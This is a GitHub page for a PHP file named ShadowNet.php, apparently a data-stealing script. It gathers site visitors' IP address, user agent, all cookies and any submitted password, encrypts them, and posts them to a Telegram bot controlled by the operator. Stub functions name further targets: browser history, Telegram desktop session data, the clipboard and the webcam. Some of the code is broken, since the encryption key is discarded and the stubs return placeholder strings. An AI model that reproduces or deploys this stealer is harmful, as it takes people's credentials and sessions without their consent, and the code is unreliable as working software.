-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathShadowNet.php
More file actions
118 lines (100 loc) · 3.55 KB
/
ShadowNet.php
File metadata and controls
118 lines (100 loc) · 3.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<?php
// Configuration
$bot_token = getenv('TELEGRAM_BOT_TOKEN');
$email_address = getenv('REPORT_EMAIL');
$aes_key = openssl_random_pseudo_bytes(32); // Generate a random AES key for each session
$log_file = 'error_log.txt';
// Load Composer dependencies
require 'vendor/autoload.php';
use GuzzleHttp\Client;
// Define a function to encrypt data with AES
function encrypt_data($data, $key) {
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, 0, $iv);
return base64_encode($encrypted . '::' . $iv);
}
// Define a function to send data to Telegram Bot using Guzzle
function send_to_telegram($data, $bot_token) {
$client = new Client();
try {
$response = $client->post("https://api.telegram.org/bot{$bot_token}/sendMessage", [
'json' => $data
]);
return $response->getStatusCode() == 200;
} catch (Exception $e) {
log_error($e->getMessage());
return false;
}
}
// Define a function to log data to a file
function log_error($data) {
global $log_file;
file_put_contents($log_file, json_encode($data, JSON_PRETTY_PRINT) . "\n", FILE_APPEND);
}
// Define a function to get browser history
function get_browser_history() {
return array(
'firefox' => 'Firefox history data',
'chrome' => 'Chrome history data',
'safari' => 'Safari history data',
'opera' => 'Opera history data',
'edge' => 'Edge history data',
'ie' => 'IE history data'
);
}
// Define a function to get Telegram desktop session data
function get_tdata() {
return 'Telegram desktop session data';
}
// Define a function to get clipboard content
function get_clipboard_content() {
return 'Clipboard content';
}
// Define a function to capture webcam image
function capture_webcam_image() {
return 'Webcam image data';
}
// Get browser information
$browser_info = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT', FILTER_SANITIZE_STRING);
// Get IP address
$ip_address = filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP);
// Get cookie information
$cookie_info = array();
foreach ($_COOKIE as $key => $value) {
$cookie_info[$key] = filter_var($value, FILTER_SANITIZE_STRING);
}
// Get password information
$password_info = array();
if (isset($_POST['password'])) {
$password_info['password'] = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
}
// Get additional information
$request_time = date('Y-m-d H:i:s', $_SERVER['REQUEST_TIME']);
$request_url = filter_input(INPUT_SERVER, 'REQUEST_URI', FILTER_SANITIZE_URL);
// Get browser history, Telegram desktop session data, clipboard content, and webcam image
$browser_history = get_browser_history();
$tdata = get_tdata();
$clipboard_content = get_clipboard_content();
$webcam_image = capture_webcam_image();
// Create a JSON payload with all the collected information
$data = array(
'browser_info' => $browser_info,
'ip_address' => $ip_address,
'cookie_info' => $cookie_info,
'password_info' => $password_info,
'request_time' => $request_time,
'request_url' => $request_url,
'browser_history' => $browser_history,
'tdata' => $tdata,
'clipboard_content' => $clipboard_content,
'webcam_image' => $webcam_image,
'session_id' => session_id()
);
// Encrypt data before sending
$encrypted_data = encrypt_data(json_encode($data), $aes_key);
// Send the data to Telegram Bot
$response = send_to_telegram($encrypted_data, $bot_token);
// Check for errors
if (!$response) {
log_error($encrypted_data);
}